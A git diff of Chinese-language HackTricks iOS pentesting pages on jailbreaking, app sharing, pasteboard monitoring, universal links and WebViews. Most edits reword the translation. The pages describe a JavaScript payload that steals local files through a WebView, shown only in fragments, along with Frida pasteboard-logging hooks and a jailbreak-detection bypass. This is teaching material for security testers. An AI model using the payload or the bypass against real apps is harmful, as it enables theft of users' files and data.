苹果严格要求在iPhone上运行的代码必须由苹果颁发的证书签名。**越狱**是绕过OS放置的这些限制和其他安全控制的过程。因此,一旦设备越狱,负责检查安装的应用程序的**完整性检查**将被打补丁,以便**绕过**。
|
||||
苹果严格要求在iPhone上运行的代码必须由苹果颁发的证书签名。**越狱**是绕过操作系统放置的这些限制和其他安全控制的过程。因此,一旦设备越狱,负责检查安装的应用程序的**完整性检查**将被修补,以便**绕过**。
|
||||
|
||||
{% hint style="info" %}
|
||||
与Android不同,**您无法在iOS中切换到“开发者模式”**以在设备上运行未签名/不受信任的代码。
|
||||
|
@ -75,7 +75,7 @@ Corellium是唯一公开可用的iOS模拟器。它是一种企业SaaS解决方
|
|||
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
尽管经常进行比较,Android上的**rooting**和iOS上的**jailbreaking**是根本不同的过程。在Android设备上进行**rooting**可能涉及**安装`su`二进制文件**或**用具有root权限的自定义ROM替换系统**,如果解锁了引导加载程序,则不一定需要利用漏洞。**刷写自定义ROM**会在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。
|
||||
尽管经常进行比较,Android上的**rooting**和iOS上的**jailbreaking**是根本不同的过程。在Android设备上对rooting可能涉及**安装`su`二进制文件**或**用具有root权限的自定义ROM替换系统**,如果解锁了引导加载程序,则不一定需要利用漏洞。**刷写自定义ROM**会在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。
|
||||
|
||||
相比之下,由于引导加载程序限制为仅引导Apple签名的映像,iOS设备无法刷写自定义ROM。**越狱iOS**旨在绕过苹果的代码签名保护,以运行未签名代码,这一过程由于苹果持续加强安全性而变得复杂。
|
||||
|
||||
|
@ -83,7 +83,7 @@ Corellium是唯一公开可用的iOS模拟器。它是一种企业SaaS解决方
|
|||
|
||||
随着苹果迅速修补漏洞,越狱iOS变得越来越困难。**降级iOS**仅在发布后的有限时间内可能,这使得越狱成为一项时间敏感的问题。用于安全测试的设备不应更新,除非可以保证重新越狱。
|
||||
|
||||
iOS更新受到**挑战-响应机制**(SHSH blobs)的控制,只允许安装Apple签名的响应。这种机制被称为“签名窗口”,限制了存储和以后使用OTA固件包的能力。[IPSW Downloads网站](https://ipsw.me)是检查当前签名窗口的资源。
|
||||
iOS更新受**挑战-响应机制**(SHSH blobs)控制,只允许安装Apple签名的响应。这种机制被称为“签名窗口”,限制了存储和以后使用OTA固件包的能力。[IPSW Downloads网站](https://ipsw.me)是检查当前签名窗口的资源。
|
||||
|
||||
### 越狱类型
|
||||
|
||||
|
@ -94,17 +94,17 @@ iOS更新受到**挑战-响应机制**(SHSH blobs)的控制,只允许安
|
|||
|
||||
### 越狱工具和资源
|
||||
|
||||
越狱工具根据iOS版本和设备而异。资源如[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)和[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)提供最新信息。示例包括:
|
||||
越狱工具根据iOS版本和设备而异。资源如[Can I Jailbreak?](https://canijailbreak.com)、[The iPhone Wiki](https://www.theiphonewiki.com)和[Reddit Jailbreak](https://www.reddit.com/r/jailbreak/)提供最新信息。例如:
|
||||
|
||||
- [Checkra1n](https://checkra.in/) 适用于A7-A11芯片设备。
|
||||
- [Palera1n](https://palera.in/) 适用于Checkm8设备(A8-A11),运行iOS 15.0-16.5。
|
||||
- [Unc0ver](https://unc0ver.dev/) 适用于iOS版本高达14.8。
|
||||
- [Checkra1n](https://checkra.in/)适用于A7-A11芯片设备。
|
||||
- [Palera1n](https://palera.in/)适用于Checkm8设备(A8-A11),支持iOS 15.0-16.5。
|
||||
- [Unc0ver](https://unc0ver.dev/)适用于iOS版本高达14.8。
|
||||
|
||||
修改您的设备存在风险,越狱应谨慎对待。
|
||||
|
||||
### 越狱的好处和风险
|
||||
|
||||
越狱**移除了OS强制的沙箱限制**,使应用程序可以访问整个文件系统。这种自由使得可以安装未经批准的应用程序并访问更多API。然而,对于普通用户,由于潜在的安全风险和设备不稳定性,不建议越狱。
|
||||
越狱**移除了操作系统强制的沙箱限制**,使应用程序可以访问整个文件系统。这种自由使得可以安装未经批准的应用程序并访问更多API。然而,对于普通用户,由于潜在的安全风险和设备不稳定性,不建议越狱。
|
||||
|
||||
### **越狱后**
|
||||
|
||||
|
@ -122,7 +122,7 @@ iOS更新受到**挑战-响应机制**(SHSH blobs)的控制,只允许安
|
|||
* 存在**OpenSSH**服务
|
||||
* 调用`/bin/sh`将返回1而不是0
|
||||
|
||||
**有关如何检测越狱的更多信息**[**在这里**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**。**
|
||||
**有关如何检测越狱的更多信息**[**在此处**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**。**
|
||||
|
||||
您可以尝试使用**objection**的`ios jailbreak disable`来避免这些检测。
|
||||
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -33,19 +33,19 @@
|
|||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
开发人员应仔细审查`UIActivityViewController`的初始化活动和自定义活动,以及任何指定的`excludedActivityTypes`。
|
||||
开发人员应该仔细审查`UIActivityViewController`的初始化活动和自定义活动,以及任何指定的`excludedActivityTypes`。
|
||||
|
||||
## **如何接收数据**
|
||||
|
||||
在接收数据时,以下方面至关重要:
|
||||
在接收数据时,以下几个方面至关重要:
|
||||
|
||||
- **自定义文档类型**的声明。
|
||||
- 应用程序可以打开的**文档类型的规范**。
|
||||
- 验证**接收数据的完整性**。
|
||||
- 指定应用程序可以打开的**文档类型**。
|
||||
- 验证接收数据的**完整性**。
|
||||
|
||||
即使无法访问源代码,也可以检查`Info.plist`中的键,如`UTExportedTypeDeclarations`、`UTImportedTypeDeclarations`和`CFBundleDocumentTypes`,以了解应用程序可以处理和声明的文档类型。
|
||||
即使没有访问源代码,也可以检查`Info.plist`中的键,如`UTExportedTypeDeclarations`,`UTImportedTypeDeclarations`和`CFBundleDocumentTypes`,以了解应用程序可以处理和声明的文档类型。
|
||||
|
||||
关于这些键的简明指南可在[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)上找到,强调了定义和导入UTIs以进行系统范围识别以及将文档类型与您的应用程序关联以在“打开方式”对话框中集成的重要性。
|
||||
关于这些键的简明指南可在[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)上找到,强调了定义和导入UTIs以供系统广泛识别,并将文档类型与您的应用程序关联以在“打开方式”对话框中集成的重要性。
|
||||
|
||||
## 动态测试方法
|
||||
|
||||
|
@ -56,7 +56,7 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
|||
|
||||
对于**接收项目**,涉及:
|
||||
|
||||
- 从其他来源(例如AirDrop、电子邮件)与应用程序共享文件,以引发“打开方式...”对话框。
|
||||
- 从其他来源(例如AirDrop,电子邮件)与应用程序共享文件,以触发“打开方式...”对话框。
|
||||
- 钩入`application:openURL:options:`等在静态分析期间识别的其他方法,以观察应用程序的响应。
|
||||
- 使用格式错误的文件或模糊技术来评估应用程序的健壮性。
|
||||
|
||||
|
|
|
@ -6,24 +6,24 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
在iOS设备上,应用程序内部和跨应用程序之间的数据共享是通过[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)机制实现的,该机制分为两个主要类别:
|
||||
|
||||
- **系统范围的通用剪贴板**:用于与**任何应用程序**共享数据,并且旨在在iOS 10以后可用的功能中跨设备重启和应用程序卸载时保留数据。
|
||||
- **自定义/命名剪贴板**:这些专门用于在应用程序内部或与共享相同团队ID的另一个应用程序之间共享数据,并且不会在创建它们的应用程序进程的生命周期之外保留数据,这是iOS 10引入的更改。
|
||||
- **系统范围的通用剪贴板**:用于与**任何应用程序**共享数据,并且旨在在iOS 10以后可用的设备重新启动和应用程序卸载时保留数据。
|
||||
- **自定义/命名剪贴板**:专门用于在应用程序内部或与共享相同团队ID的另一个应用程序之间共享数据,并且不会在创建它们的应用程序进程的生命周期之外保留数据,这是iOS 10引入的更改。
|
||||
|
||||
在使用剪贴板时,**安全考虑**起着重要作用。例如:
|
||||
- 用户没有管理应用程序权限访问**剪贴板**的机制。
|
||||
- 为了减轻未经授权的后台监视剪贴板的风险,访问权限受限于应用程序在前台运行时(自iOS 9以来)。
|
||||
- 用户没有机制来管理应用程序访问**剪贴板**的权限。
|
||||
- 为了减轻未经授权的后台监视剪贴板的风险,访问仅限于应用程序在前台运行时(自iOS 9以来)。
|
||||
- 由于隐私问题,不鼓励使用持久命名剪贴板,而是推荐使用共享容器。
|
||||
- iOS 10引入的**通用剪贴板**功能允许通过通用剪贴板在设备之间共享内容,开发人员可以管理此功能以设置数据过期时间并禁用自动内容传输。
|
||||
- iOS 10引入的**通用剪贴板**功能允许通过通用剪贴板在设备之间共享内容,开发人员可以管理数据过期时间并禁用自动内容传输。
|
||||
|
||||
确保**敏感信息不会被意外存储**在全局剪贴板中至关重要。此外,应用程序应设计为防止全局剪贴板数据被用于意外操作,鼓励开发人员实施措施以防止将敏感信息复制到剪贴板中。
|
||||
确保**敏感信息不会被意外存储**在全局剪贴板中至关重要。此外,应用程序应设计为防止全局剪贴板数据被用于非预期操作,鼓励开发人员实施措施防止将敏感信息复制到剪贴板中。
|
||||
|
||||
### 静态分析
|
||||
|
||||
|
@ -34,18 +34,18 @@
|
|||
### 动态分析
|
||||
|
||||
动态分析涉及挂钩或跟踪特定方法:
|
||||
- 监视 `generalPasteboard` 以了解系统范围的使用情况。
|
||||
- 跟踪 `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 以查看自定义实现。
|
||||
- 监视 `generalPasteboard` 以进行系统范围的使用。
|
||||
- 跟踪 `pasteboardWithName:create:` 和 `pasteboardWithUniqueName` 以进行自定义实现。
|
||||
- 观察已弃用的 `setPersistent:` 方法调用以检查持久性设置。
|
||||
|
||||
要监视的关键细节包括:
|
||||
- **剪贴板名称**和**内容**(例如,检查字符串、URL、图像)。
|
||||
- 存在的**项目数量**和**数据类型**,利用标准和自定义数据类型检查。
|
||||
- 通过检查 `setItems:options:` 方法检查**过期和仅限本地选项**。
|
||||
- 通过检查 `setItems:options:` 方法检查**到期和仅本地选项**。
|
||||
|
||||
一个监视工具的示例是**objection的剪贴板监视器**,它每5秒轮询generalPasteboard以查看更改并输出新数据。
|
||||
|
||||
以下是一个简单的JavaScript脚本示例,受objection方法启发,每5秒读取并记录剪贴板中的更改:
|
||||
以下是一个简单的JavaScript脚本示例,受objection方法的启发,每5秒读取并记录剪贴板中的更改:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -77,14 +77,14 @@ console.log(items);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向 **HackTricks** 和 **HackTricks Cloud** 的 github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,8 +9,8 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -18,13 +18,13 @@
|
|||
|
||||
## 介绍
|
||||
|
||||
通用链接通过直接在应用中打开内容,绕过Safari重定向的需求,为用户提供了**无缝重定向**体验。这些链接是**独特**且安全的,因为其他应用无法声明它们。这是通过在网站的根目录上托管`apple-app-site-association` JSON文件来实现的,建立了网站和应用之间可验证的链接。在应用未安装的情况下,Safari将接管并将用户重定向到网页,保持应用的存在。
|
||||
通用链接通过直接在应用中打开内容,绕过Safari重定向的需求,为用户提供了**无缝重定向**体验。这些链接是**独特**且安全的,因为其他应用无法声明它们。这是通过在网站的根目录上托管`apple-app-site-association` JSON文件来实现的,建立了网站和应用之间可验证的链接。在应用未安装的情况下,Safari将接管并将用户引导到网页,保持应用的存在。
|
||||
|
||||
对于渗透测试人员,`apple-app-site-association`文件尤为重要,因为它可能会揭示**敏感路径**,可能包括与未发布功能相关的路径。
|
||||
|
||||
### **分析关联域权利**
|
||||
|
||||
开发人员通过在Xcode的功能选项卡中配置**关联域**或检查`.entitlements`文件来启用通用链接。每个域名都以`applinks:`为前缀。例如,Telegram的配置可能如下所示:
|
||||
开发人员通过在Xcode的Capabilities选项卡中配置**关联域**或检查`.entitlements`文件来启用通用链接。每个域名都以`applinks:`为前缀。例如,Telegram的配置可能如下所示:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
|
@ -34,7 +34,7 @@
|
|||
```
|
||||
### **获取苹果应用网站关联文件**
|
||||
|
||||
应从服务器使用在授权中指定的域检索`apple-app-site-association`文件。确保文件可以通过HTTPS直接访问,网址为`https://<domain>/apple-app-site-association`。工具如[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)可帮助完成此过程。
|
||||
应从服务器使用在权限中指定的域检索`apple-app-site-association`文件。确保文件可以通过HTTPS直接访问,网址为`https://<domain>/apple-app-site-association`。工具如[苹果应用网站关联(AASA)验证器](https://branch.io/resources/aasa-validator/)可以帮助进行此过程。
|
||||
|
||||
### **处理应用中的通用链接**
|
||||
|
||||
|
@ -42,7 +42,7 @@
|
|||
|
||||
#### **验证数据处理方法**
|
||||
|
||||
当通用链接打开应用时,将通过`NSUserActivity`对象将URL传递给应用。在处理此URL之前,必须验证和清理它以防止安全风险。以下是用Swift示例演示此过程:
|
||||
当通用链接打开应用时,将使用`NSUserActivity`对象将URL传递给应用。在处理此URL之前,必须验证和清理它以防止安全风险。以下是Swift中演示此过程的示例:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
|
@ -54,7 +54,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
URL应该被仔细解析和验证,特别是如果它们包含参数,以防止潜在的欺骗或格式不正确的数据。`NSURLComponents` API对于这个目的非常有用,如下所示:
|
||||
URLs 应该被仔细解析和验证,特别是如果它们包含参数,以防止潜在的欺骗或格式不正确的数据。`NSURLComponents` API 对于这个目的非常有用,如下所示:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -100,7 +100,7 @@ return false
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,8 +8,8 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -22,9 +22,9 @@ WebViews在应用程序中用于交互式显示Web内容。不同类型的WebVie
|
|||
|
||||
- **UIWebView**,从iOS 12开始不再推荐使用,因为它不支持禁用**JavaScript**,容易受到脚本注入和**跨站脚本攻击(XSS)**的影响。
|
||||
|
||||
- **WKWebView**是将Web内容整合到应用程序中的首选选项,提供对内容和安全功能的增强控制。**JavaScript**默认启用,但必要时可以禁用。它还支持防止JavaScript自动打开窗口的功能,并确保所有内容安全加载。此外,**WKWebView**的架构最大程度地减少了影响主应用程序进程的内存损坏的风险。
|
||||
- **WKWebView**是将Web内容整合到应用程序中的首选选项,提供对内容和安全功能的增强控制。**JavaScript**默认启用,但必要时可禁用。它还支持防止JavaScript自动打开窗口的功能,并确保所有内容安全加载。此外,**WKWebView**的架构最大程度地减少了影响主应用程序进程的内存损坏风险。
|
||||
|
||||
- **SFSafariViewController**在应用程序中提供标准化的网页浏览体验,其特定布局包括只读地址字段、共享和导航按钮,以及直接链接以在Safari中打开内容。与**WKWebView**不同,**SFSafariViewController**中无法禁用**JavaScript**,它还与Safari共享cookie和数据,保护用户隐私免受应用程序的影响。必须根据App Store指南显著显示它。
|
||||
- **SFSafariViewController**在应用程序中提供标准化的网页浏览体验,其特定布局包括只读地址栏、共享和导航按钮,以及直接链接以在Safari中打开内容。与**WKWebView**不同,**SFSafariViewController**中无法禁用**JavaScript**,它还与Safari共享cookie和数据,保护用户隐私免受应用程序的影响。必须根据App Store指南显著显示它。
|
||||
```objetivec
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
|
@ -37,7 +37,7 @@ WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:c
|
|||
|
||||
### **静态分析概述**
|
||||
|
||||
在检查**WebViews**配置的过程中,主要关注两种类型:**UIWebView**和**WKWebView**。为了在二进制文件中识别这些WebViews,使用命令搜索特定的类引用和初始化方法。
|
||||
在检查**WebViews**配置的过程中,主要关注两种类型:**UIWebView**和**WKWebView**。为了识别二进制文件中的这些WebViews,使用命令搜索特定类引用和初始化方法。
|
||||
|
||||
- **UIWebView识别**
|
||||
```bash
|
||||
|
@ -51,19 +51,19 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|||
```
|
||||
同样地,对于 **WKWebView**,这个命令会搜索二进制文件中表明其使用情况的文本字符串。
|
||||
|
||||
此外,为了找到 **WKWebView** 是如何初始化的,执行以下命令,针对与其初始化相关的方法签名:
|
||||
此外,为了找到 **WKWebView** 的初始化方式,执行以下命令,针对与其初始化相关的方法签名:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **JavaScript配置验证**
|
||||
|
||||
对于**WKWebView**,强调禁用JavaScript是最佳做法,除非必要。搜索编译后的二进制文件,确认`javaScriptEnabled`属性设置为`false`,确保JavaScript已禁用:
|
||||
对于**WKWebView**,强调了除非必要,禁用JavaScript是最佳做法。搜索编译后的二进制文件以确认`javaScriptEnabled`属性设置为`false`,确保JavaScript已禁用:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **仅安全内容验证**
|
||||
|
||||
**WKWebView** 提供了识别混合内容问题的能力,与 **UIWebView** 相比。这是通过使用 `hasOnlySecureContent` 属性进行检查,以确保所有页面资源都是通过安全连接加载的。在编译的二进制文件中执行搜索的方式如下:
|
||||
**WKWebView** 提供了识别混合内容问题的能力,与 **UIWebView** 相比。这是通过使用 `hasOnlySecureContent` 属性进行检查,以确保所有页面资源都通过安全连接加载。在编译的二进制文件中执行搜索的步骤如下:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
|
@ -128,11 +128,11 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|||
- 成功定位和检查 WebView 实例。
|
||||
- 验证 JavaScript 启用和安全内容设置。
|
||||
|
||||
这个摘要概括了通过静态和动态方法分析 WebView 配置所涉及的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全功能。
|
||||
这份摘要概括了通过静态和动态方法分析 WebView 配置所涉及的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全功能。
|
||||
|
||||
## WebView 协议处理
|
||||
|
||||
在 WebView 中处理内容是一个关键方面,特别是在处理诸如 `http(s)://`、`file://` 和 `tel://` 等各种协议时。这些协议允许应用程序加载远程和本地内容。强调了在加载本地内容时,必须采取预防措施,防止用户影响文件的名称或路径,以及编辑内容本身。
|
||||
在 WebView 中处理内容是一个关键方面,特别是在处理诸如 `http(s)://`、`file://` 和 `tel://` 等各种协议时。这些协议允许应用程序加载远程和本地内容。强调了在加载本地内容时,必须采取预防措施,防止用户影响文件名或路径,并防止编辑内容本身。
|
||||
|
||||
**WebViews** 提供了不同的内容加载方法。对于 **UIWebView**(现已弃用),使用诸如 `loadHTMLString:baseURL:` 和 `loadData:MIMEType:textEncodingName:baseURL:` 等方法。另一方面,**WKWebView** 使用 `loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:` 和 `loadRequest:` 来加载 web 内容。通常使用诸如 `pathForResource:ofType:`、`URLForResource:withExtension:` 和 `init(contentsOf:encoding:)` 等方法来加载本地文件。特别值得注意的是 `loadFileURL:allowingReadAccessToURL:` 方法,它能够将特定 URL 或目录加载到 WebView 中,如果指定了目录,则可能会暴露敏感数据。
|
||||
|
||||
|
@ -161,7 +161,7 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
最后,一个旨在窃取本地文件的JavaScript有效载荷示例展示了与配置不当的WebViews相关的潜在安全风险。该有效载荷在将文件内容传输到服务器之前将其编码为十六进制格式,突显了在WebView实现中采取严格安全措施的重要性。
|
||||
最后,一个旨在窃取本地文件的JavaScript有效载荷示例展示了与未正确配置的WebViews相关的潜在安全风险。该有效载荷将文件内容编码为十六进制格式,然后将其传输到服务器,突显了在WebView实现中采取严格安全措施的重要性。
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
|
@ -191,7 +191,7 @@ xhr.send(null);
|
|||
从 iOS 7 开始,苹果提供了用于在 WebView 中的 JavaScript 和本地 Swift 或 Objective-C 对象之间进行通信的 API。这种集成主要通过两种方法实现:
|
||||
|
||||
- **JSContext**:当将 Swift 或 Objective-C 块链接到 `JSContext` 中的标识符时,会自动创建一个 JavaScript 函数。这允许 JavaScript 和本地代码之间实现无缝集成和通信。
|
||||
- **JSExport 协议**:通过继承 `JSExport` 协议,本地属性、实例方法和类方法可以暴露给 JavaScript。这意味着在 JavaScript 环境中进行的任何更改都会在本地环境中反映出来,反之亦然。但是,必须确保通过此方法无意中暴露敏感数据。
|
||||
- **JSExport 协议**:通过继承 `JSExport` 协议,本地属性、实例方法和类方法可以暴露给 JavaScript。这意味着在 JavaScript 环境中进行的任何更改都会在本地环境中反映出来,反之亦然。然而,必须确保通过此方法无意中暴露敏感数据。
|
||||
|
||||
### 在 Objective-C 中访问 `JSContext`
|
||||
|
||||
|
@ -255,18 +255,18 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
|
||||
(基于[https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)上的教程)
|
||||
|
||||
要有效地调试iOS webviews中的web内容,需要特定的设置,涉及到Safari的开发者工具,因为发送到`console.log()`的消息不会显示在Xcode日志中。以下是一个简化的指南,强调关键步骤和要求:
|
||||
